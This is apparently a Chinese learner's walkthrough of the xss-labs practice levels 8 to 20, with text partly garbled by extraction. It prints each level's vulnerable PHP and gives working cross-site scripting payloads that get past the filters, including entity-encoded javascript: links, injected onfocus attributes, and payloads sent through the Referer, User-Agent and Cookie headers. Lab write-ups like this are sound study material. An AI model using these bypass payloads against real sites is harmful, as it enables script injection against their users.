1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <!DOCTYPE html><!--STATUS OK --><html>
强制转化为小写并且全部转义。。。
忍不住看来网上的wp，说是href会自动编译自己链接里的unioncode，
但🈶又问了一下ai：
在 HTML 中，href 属性本身不会“编译” Unicode，但浏览器在解析 HTML 和处理 URL 时，会按照标准对 Unicode 字符进行编码和解码。这可能会让你产生“自动编译”的错觉。
然后🈶又找了一下，发现并不是浏览器解析unioncode的原因，是href会解析html实体的原因
能通过将payload编译为html的十进制或十六进制实体来进行绕过：
1 j a v a s c r i p t : a l e r t ( )
这段在赛博厨子里自动识别为：HTML Entity
level 9 上一关的payload就直接被band了。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 DOCTYPE html><!--STATUS OK --><html>
只能去看源码了吗
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <!DOCTYPE html><!--STATUS OK--><html>"content-type" content="text/html;charset=utf-8" >function (confirm ("完成的不错！" );"level10.php?keyword=well done!" ; <?php ini_set ("display_errors" , 0 );$str = strtolower ($_GET ["keyword" ]);$str2 =str_replace ("script" ,"scr_ipt" ,$str );$str3 =str_replace ("on" ,"o_n" ,$str2 );$str4 =str_replace ("src" ,"sr_c" ,$str3 );$str5 =str_replace ("data" ,"da_ta" ,$str4 );$str6 =str_replace ("href" ,"hr_ef" ,$str5 );$str7 =str_replace ('"' ,'"' ,$str6 );echo '<center> <form action=level9.php method=GET> <input name=keyword value="' .htmlspecialchars ($str ).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>' ;?> <?php if (false ===strpos ($str7 ,'http://' ))echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>' ;else echo '<center><BR><a href="' .$str7 .'">友情链接</a></center>' ;?> <?php echo "<h3 align=center>payload的长度:" .strlen ($str7 )."</h3>" ;?>
我们必须让输入包含 http://，否则不会把我们的输入插入到 href 中！
这样的话，使用内联注释付 /**/,在sql中也常用作空格绕过
1 j ;a ;v ;a ;s ;c ;r ;i ;p ;t ;: ;a ;l ;e ;r ;t ;( ;) ;
level 10 这关的注入点在url上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <!DOCTYPE html><!--STATUS OK--><html>"content-type" content="text/html;charset=utf-8" >function (confirm ("完成的不错！" );"level11.php?keyword=good job!" ; <?php ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];$str11 = $_GET ["t_sort" ];$str22 =str_replace (">" ,"" ,$str11 );$str33 =str_replace ("<" ,"" ,$str22 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form id=search> <input name="t_link" value="' .'" type="hidden"> <input name="t_history" value="' .'" type="hidden"> <input name="t_sort" value="' .$str33 .'" type="hidden"> </form> </center>' ;?> <?php echo "<h3 align=center>payload的长度:" .strlen ($str )."</h3>" ;?>
“t_sort”就过滤了尖括号而已，还是上网找了答案：
playlaod:
1 ?t_sort =" onfocus=javascript:alert() type=" text
这样源码就变成了：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <!DOCTYPE html > <html > <head > <meta http-equiv ="content-type" content ="text/html;charset=utf-8" > <script > window .alert = function ({ confirm ("完成的不错！" ); window .location .href ="level11.php?keyword=good job!" ; } </script > <title > 欢迎来到level10</title > </head > <body > <h1 align =center > 欢迎来到level10</h1 > <h2 align =center > 没有找到和相关的结果.</h2 > <center > <form id =search > <input name ="t_link" value ="" type ="hidden" > <input name ="t_history" value ="" type ="hidden" > <input name ="t_sort" value ="" onfocus =javascript:alert() type ="text" type ="hidden" > </form > </center > <center > <img src =level10.png > </center > <h3 align =center > payload的长度:0</h3 > </body > </html >
此时的：
1 <input name ="t_sort" value ="" onfocus =javascript:alert() type ="text" type ="hidden" >
新的type=”text”就覆盖了原来的type，就能让输入框显示出来了
隐藏的input标签可以插入type=”text”显示
ai的解释：
1 2 3 4 5 6 即使最终 DOM 中有两个 type ，但只要浏览器曾经把它当作 text 处理，它就可能：type 最终值，只要元素能获得焦点即可。
level 11 先看一下源码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <!DOCTYPE html><!--STATUS OK--><html>"content-type" content="text/html;charset=utf-8" >function (confirm ("完成的不错！" );"level12.php?keyword=good job!" ; <?php ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];$str00 = $_GET ["t_sort" ];$str11 =$_SERVER ['HTTP_REFERER' ];$str22 =str_replace (">" ,"" ,$str11 );$str33 =str_replace ("<" ,"" ,$str22 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form id=search> <input name="t_link" value="' .'" type="hidden"> <input name="t_history" value="' .'" type="hidden"> <input name="t_sort" value="' .htmlspecialchars ($str00 ).'" type="hidden"> <input name="t_ref" value="' .$str33 .'" type="hidden"> </form> </center>' ;?> <?php echo "<h3 align=center>payload的长度:" .strlen ($str )."</h3>" ;?>
看到$str和$str00都会被转义，但http报头会被引用？
1 Referer : '" onfocus=" alert(1 )" type=" text" "
level 12 依旧先偷看一眼源码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <!DOCTYPE html><!--STATUS OK--><html>"content-type" content="text/html;charset=utf-8" >function (confirm ("完成的不错！" );"level13.php?keyword=good job!" ; <?php ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];$str00 = $_GET ["t_sort" ];$str11 =$_SERVER ['HTTP_USER_AGENT' ];$str22 =str_replace (">" ,"" ,$str11 );$str33 =str_replace ("<" ,"" ,$str22 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form id=search> <input name="t_link" value="' .'" type="hidden"> <input name="t_history" value="' .'" type="hidden"> <input name="t_sort" value="' .htmlspecialchars ($str00 ).'" type="hidden"> <input name="t_ua" value="' .$str33 .'" type="hidden"> </form> </center>' ;?> <?php echo "<h3 align=center>payload的长度:" .strlen ($str )."</h3>" ;?>
依旧报头注入，这次变成USER_AGENT了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 GET /level12.php HTTP/1.1 Host : localhostsec-ch-ua : "Chromium";v="129", "Not=A?Brand";v="8"sec-ch-ua-mobile : ?0sec-ch-ua-platform : "Windows"Accept-Language : zh-CN,zh;q=0.9Upgrade-Insecure-Requests : 1User-Agent : '" onfocus="alert(1)" type="text" "Sec-Fetch-Site : noneSec-Fetch-Mode : navigateSec-Fetch-User : ?1Sec-Fetch-Dest : documentAccept-Encoding : gzip, deflate, brConnection : keep-alive
level 13 进页面先有个php语法报错：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 "content-type" content="text/html;charset=utf-8" >function (confirm ("完成的不错！" );"level14.php" ; by (output started at /var /www/html/level13.php :1 ) in <b>/var /www/html/level13.php</b> on line <b>16 </b><br />"t_link" value="" type="hidden" >"t_history" value="" type="hidden" >"t_sort" value="" type="hidden" >"t_cook" value="" type="hidden" >0 </h3></body>"content-type" content="text/html;charset=utf-8" >function (confirm ("完成的不错！" );"level14.php" ; <?php setcookie ("user" , "call me maybe?" , time ()+3600 );ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];$str00 = $_GET ["t_sort" ];$str11 =$_COOKIE ["user" ];$str22 =str_replace (">" ,"" ,$str11 );$str33 =str_replace ("<" ,"" ,$str22 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form id=search> <input name="t_link" value="' .'" type="hidden"> <input name="t_history" value="' .'" type="hidden"> <input name="t_sort" value="' .htmlspecialchars ($str00 ).'" type="hidden"> <input name="t_cook" value="' .$str33 .'" type="hidden"> </form> </center>' ;?> <?php echo "<h3 align=center>payload的长度:" .strlen ($str )."</h3>" ;?>
e，是cookie吗
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 GET /level13.php HTTP/1 .1 Host : localhostCache -Control: max-age=0 sec -ch-ua: "Chromium" ;v="129" , "Not=A?Brand" ;v="8" sec -ch-ua-mobile: ?0 sec -ch-ua-platform: "Windows" Accept -Language: zh-CN,zh;q=0 .9 Upgrade -Insecure-Requests: 1 User -Agent: Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/129 .0 .6668 .71 Safari/537 .36 Accept : text/html,application/xhtml+xml,application/xml;q=0 .9 ,image/avif,image/webp,image/apng,*/*;q=0 .8 ,application/signed-exchange;v=b3;q=0 .7 Sec -Fetch-Site: noneSec -Fetch-Mode: navigateSec -Fetch-User: ?1 Sec -Fetch-Dest: documentAccept -Encoding: gzip, deflate, brConnection : keep-aliveCookie : user='%22 %20 onfocus%3 d%22 alert(1 )%22 %20 type%3 d%22 text%22 %20 %22
level 14 这关加载了一个奇怪的图片？
1 2 3 4 5 6 7 8 9 10 <html>"content-type" content="text/html;charset=utf-8" >"leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80 %></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1 .gif>点我进level15</a></center>
看看源码吧：
1 2 3 4 5 6 7 8 9 10 <html>"content-type" content="text/html;charset=utf-8" >"leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80 %></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1 .gif>点我进level15</a></center>
???
那思考一下，竟然都是在我的前端上解析的，那我改host是不是能指向我想指向的ip？
和ai探讨了一下，在比赛中一般是有bot来当做用户来访问触发我的xss，而我是不能修改他们的host的
所以另一个方向是上传一张会返回xss的图片？
问题是在我的环境上无法打开网站，提示：
Please turn off your ad blocker.
要我关掉我的广告拦截器？
关了edge的一个相关功能，还是打不开。
上网找wp吧。参考文章
网站会解析图片的exif信息，然后返回到前端，在图片的exif里插入xss即可完成攻击
level 15 查看源码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <html ng-app>"utf-8" >"angular.min.js" ></script>function (confirm ("完成的不错！" );"level16.php?keyword=test" ; 15 关，自己想个办法走出去吧！</h1><?php ini_set ("display_errors" , 0 );$str = $_GET ["src" ];echo '<body><span class="ng-include:' .htmlspecialchars ($str ).'"></span></body>' ;?>
只发现可src一个传入点，给ai看了一下，好像要有中间件绕过？
上网看wp：
ng-include指令就是文件包涵的意思，用来包涵外部的html文件，如果包涵的内容是地址，需要加引号
竟然能直接包含第一关？
1 所以可以随便包涵之前的一关并对其传参，以达到弹窗的效果，先测试一下过滤了啥，构造payload
所以就是攻击包含的代码来达到攻击的效果吗？
1 ?src='/level1.php?name=<img src ="fff" onerror =alert() > '
通关
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 ?src='/level1.php?name=<img src =1 onmouseover =alert() > ' ``` ## level 16 依旧偷看源码： ```php <!DOCTYPE html > <html > <head > <meta http-equiv ="content-type" content ="text/html;charset=utf-8" > <script > window .alert = function ({ confirm ("完成的不错！" ); window .location .href ="level17.php?arg01=a&arg02=b" ; } </script > <title > 欢迎来到level16</title > </head > <body > <h1 align =center > 欢迎来到level16</h1 > <?php ini_set ("display_errors" , 0 );$str = strtolower ($_GET ["keyword" ]);$str2 =str_replace ("script" ," " ,$str );$str3 =str_replace (" " ," " ,$str2 );$str4 =str_replace ("/" ," " ,$str3 );$str5 =str_replace (" " ," " ,$str4 );echo "<center>" .$str5 ."</center>" ;?> <center > <img src =level16.png > </center > <?php echo "<h3 align=center>payload的长度:" .strlen ($str5 )."</h3>" ;?> </body > </html >
这都过滤了啥？
php的空格绕过是经典必考了，上网一查就有，
1 <img%0 asrc= "fff" %0 aonerror= alert()>
level 17 开题就显示插件不支持。。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <!DOCTYPE html > <html > <head > <meta http-equiv ="content-type" content ="text/html;charset=utf-8" > <script > window .alert = function ({ confirm ("完成的不错！" ); } </script > <title > 欢迎来到level17</title > </head > <body > <h1 align =center > 欢迎来到level17</h1 > <embed src =xsf01.swf?a =b width =100% heigth =100% > <h2 align =center > 成功后，<a href =level18.php?arg01 =a&arg02 =b > 点我进入下一关</a > </h2 > </body > </html >
还是看看源码吧：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <!DOCTYPE html><!--STATUS OK--><html>"content-type" content="text/html;charset=utf-8" >function (confirm ("完成的不错！" ); <?php ini_set ("display_errors" , 0 );echo "<embed src=xsf01.swf?" .htmlspecialchars ($_GET ["arg01" ])."=" .htmlspecialchars ($_GET ["arg02" ])." width=100% heigth=100%>" ;?>
依旧看(wp)[https://blog.csdn.net/l2872253606/article/details/125638898#:~:text=%E7%9B%AE%E5%BD%95level%201level%202level]
大概是考了embad区域?
选择了改一下源码。。。
1 echo "<embed src=indce.png?" .htmlspecialchars ($_GET ["arg01" ])."=" .htmlspecialchars ($_GET ["arg02" ])." width=100% heigth=100%>" ;
尝试了：
1 ?arg01 =onclick&arg02=alert(1)
不行，注意到写法里的引号
少了个空格也不行
当为arg01时：
1 <embed src =index.png? onclick =alert(1) = width =100% heigth =100% > <h2 align =center > 成功后，<a href =level18.php?arg01 =a&arg02 =b > 点我进入下一关</a > </h2 >
当为 ?arg01=onclick&arg02=alert(1) 时：
1 <embed src =index.png?onclick =alert(1) width =100% heigth =100% > <h2 align =center > 成功后，<a href =level18.php?arg01 =a&arg02 =b > 点我进入下一关</a > </h2 >
所以说只有当 ?arg02= onclick=alert() 才能构成：
1 <embed src =index.png? = onclick =alert() width =100% heigth =100% > <h2 align =center > 成功后，<a href =level18.php?arg01 =a&arg02 =b > 点我进入下一关</a > </h2 >
这时的 onclick=alert() 才是生效的
level 18 也是和上题一样改了一下源码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <!DOCTYPE html><!--STATUS OK--><html>"content-type" content="text/html;charset=utf-8" >function (confirm ("完成的不错！" );"level19.php?arg01=a&arg02=b" ; <?php ini_set ("display_errors" , 0 );echo "<embed src=index.png?" .htmlspecialchars ($_GET ["arg01" ])."=" .htmlspecialchars ($_GET ["arg02" ])." width=100% heigth=100%>" ;?>
没看出来有啥区别，同一个payload过了：
level 19 源码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <!DOCTYPE html><!--STATUS OK--><html>"content-type" content="text/html;charset=utf-8" >function (confirm ("完成的不错！" );"level20.php?arg01=a&arg02=b" ; <?php ini_set ("display_errors" , 0 );echo '<embed src="index.png?' .htmlspecialchars ($_GET ["arg01" ])."=" .htmlspecialchars ($_GET ["arg02" ]).'" width=100% heigth=100%>' ;?>
需要绕过引号
看了网上wp，需要用flash的漏洞，现在网站很多都不用flash了
level 20 还是考flash。。。
算了，放过我自己吧，，，
